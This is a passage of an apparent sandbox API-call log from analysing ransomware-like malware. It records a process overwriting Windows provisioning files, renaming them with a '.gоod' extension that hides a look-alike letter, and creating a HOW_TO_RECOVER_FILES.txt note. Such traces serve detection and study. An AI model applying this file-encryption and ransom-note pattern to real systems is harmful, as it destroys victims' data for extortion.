(hFile=0x6e0) returned 0x1 [0124.338] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0124.338] GetFileType (hFile=0x6e0) returned 0x1 [0124.338] GetFileSize (in: hFile=0x6e0, lpFileSizeHigh=0x1f9edcd8 | out: lpFileSizeHigh=0x1f9edcd8*=0x0) returned 0x10f [0124.338] ReadFile (in: hFile=0x6e0, lpBuffer=0x367a618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc08, lpOverlapped=0x0 | out: lpBuffer=0x367a618*, lpNumberOfBytesRead=0x1f9edc08*=0x10f, lpOverlapped=0x0) returned 1 [0124.425] CloseHandle (hObject=0x6e0) returned 1 [0125.132] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb30) returned 1 [0125.133] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\masterdatastore.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0125.134] GetFileType (hFile=0x63c) returned 0x1 [0125.134] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaa0) returned 1 [0125.134] GetFileType (hFile=0x63c) returned 0x1 [0125.134] WriteFile (in: hFile=0x63c, lpBuffer=0x352ef28*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x1f9edb18, lpOverlapped=0x0 | out: lpBuffer=0x352ef28*, lpNumberOfBytesWritten=0x1f9edb18*=0x110, lpOverlapped=0x0) returned 1 [0125.135] CloseHandle (hObject=0x63c) returned 1 [0125.135] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\MasterDatastore.xml", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\MasterDatastore.xml", lpFilePart=0x0) returned 0x60 [0125.135] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\MasterDatastore.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\MasterDatastore.xml.gоod", lpFilePart=0x0) returned 0x65 [0125.135] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0125.135] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\masterdatastore.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f8cab3, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f8cab3, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x46cd64ff, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x110)) returned 1 [0125.136] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0125.136] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\masterdatastore.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\MasterDatastore.xml.gоod" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\masterdatastore.xml.gоod")) returned 1 [0125.136] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed4a0) returned 1 [0125.136] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov", nBufferLength=0x105, lpBuffer=0x1f9ecf40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov", lpFilePart=0x0) returned 0x51 [0125.136] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\*", lpFindFileData=0x1f9ed1c0 | out: lpFindFileData=0x1f9ed1c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1d195e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1d195e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1d195e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0125.138] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1d195e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1d195e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1d195e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.138] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1d195e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1d195e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1d195e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0125.138] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f66853, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f66853, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f66853, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x23f, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0125.139] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0125.139] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0125.139] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3e0) returned 1 [0125.139] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3a0) returned 1 [0125.139] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed4a0) returned 1 [0125.139] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov", nBufferLength=0x105, lpBuffer=0x1f9ecf40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov", lpFilePart=0x0) returned 0x51 [0125.139] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\*", lpFindFileData=0x1f9ed1c0 | out: lpFindFileData=0x1f9ed1c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1d195e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1d195e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1d195e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0125.139] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1d195e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1d195e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1d195e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.139] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1d195e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1d195e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1d195e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0125.139] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f66853, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f66853, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f66853, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x23f, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0125.140] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f66853, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f66853, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f66853, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x23f, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 0 [0125.140] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0125.140] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3e0) returned 1 [0125.140] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3a0) returned 1 [0125.140] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0125.140] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed250) returned 1 [0125.140] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\prov\\runtime.xml"), fInfoLevelId=0x0, lpFileInformation=0x353eb18 | out: lpFileInformation=0x353eb18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f66853, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f66853, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f66853, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x23f)) returned 1 [0125.140] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed210) returned 1 [0125.140] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1f9ecbe0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0125.140] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed100) returned 1 [0125.140] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\prov\\runtime.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0125.140] GetFileType (hFile=0x63c) returned 0x1 [0125.140] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed070) returned 1 [0125.140] GetFileType (hFile=0x63c) returned 0x1 [0125.140] GetFileSize (in: hFile=0x63c, lpFileSizeHigh=0x1f9ed2a8 | out: lpFileSizeHigh=0x1f9ed2a8*=0x0) returned 0x23f [0125.141] ReadFile (in: hFile=0x63c, lpBuffer=0x353f050, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ed1d8, lpOverlapped=0x0 | out: lpBuffer=0x353f050*, lpNumberOfBytesRead=0x1f9ed1d8*=0x23f, lpOverlapped=0x0) returned 1 [0125.141] CloseHandle (hObject=0x63c) returned 1 [0125.693] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1f9ecbe0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0125.693] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed100) returned 1 [0125.694] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\prov\\runtime.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0125.695] GetFileType (hFile=0x6e0) returned 0x1 [0125.695] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed070) returned 1 [0125.695] GetFileType (hFile=0x6e0) returned 0x1 [0125.696] WriteFile (in: hFile=0x6e0, lpBuffer=0x36a9598*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x1f9ed0e8, lpOverlapped=0x0 | out: lpBuffer=0x36a9598*, lpNumberOfBytesWritten=0x1f9ed0e8*=0x240, lpOverlapped=0x0) returned 1 [0125.696] CloseHandle (hObject=0x6e0) returned 1 [0125.696] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0125.697] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime.xml.gоod", lpFilePart=0x0) returned 0x62 [0125.697] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed210) returned 1 [0125.697] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\prov\\runtime.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f9ed2f0 | out: lpFileInformation=0x1f9ed2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f66853, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f66853, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x47233bbb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x240)) returned 1 [0125.697] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed1d0) returned 1 [0125.697] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\prov\\runtime.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime.xml.gоod" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\prov\\runtime.xml.gоod")) returned 1 [0125.697] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eca70) returned 1 [0125.697] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime", nBufferLength=0x105, lpBuffer=0x1f9ec510, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime", lpFilePart=0x0) returned 0x59 [0125.698] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\*", lpFindFileData=0x1f9ec790 | out: lpFindFileData=0x1f9ec790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1d195e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1d195e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1d195e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0125.698] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1d195e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1d195e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1d195e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.698] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f405fa, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f405fa, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f66853, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xcec, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Policy.provxml", cAlternateFileName="")) returned 1 [0125.698] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f66853, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f66853, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f66853, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x716, dwReserved0=0x0, dwReserved1=0x0, cFileName="1__Power_Policy.provxml", cAlternateFileName="")) returned 1 [0125.698] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0125.698] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0125.698] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ec9b0) returned 1 [0125.698] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ec970) returned 1 [0125.698] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9eca70) returned 1 [0125.699] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime", nBufferLength=0x105, lpBuffer=0x1f9ec510, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime", lpFilePart=0x0) returned 0x59 [0125.699] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\*", lpFindFileData=0x1f9ec790 | out: lpFindFileData=0x1f9ec790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1d195e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1d195e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1d195e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0125.699] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1d195e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1d195e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1d195e, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0125.699] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f405fa, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f405fa, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f66853, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xcec, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Policy.provxml", cAlternateFileName="")) returned 1 [0125.699] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f66853, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f66853, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f66853, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x716, dwReserved0=0x0, dwReserved1=0x0, cFileName="1__Power_Policy.provxml", cAlternateFileName="")) returned 1 [0125.699] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f9ec750 | out: lpFindFileData=0x1f9ec750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f66853, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f66853, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f66853, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x716, dwReserved0=0x0, dwReserved1=0x0, cFileName="1__Power_Policy.provxml", cAlternateFileName="")) returned 0 [0125.699] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0125.699] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ec9b0) returned 1 [0125.699] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ec970) returned 1 [0125.700] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ec4c0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x72 [0125.700] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ec9e0) returned 1 [0125.700] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\prov\\runtime\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e0 [0125.700] GetFileType (hFile=0x6e0) returned 0x1 [0125.700] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ec950) returned 1 [0125.700] GetFileType (hFile=0x6e0) returned 0x1 [0125.701] WriteFile (in: hFile=0x6e0, lpBuffer=0x36bb980*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ecaa8, lpOverlapped=0x0 | out: lpBuffer=0x36bb980*, 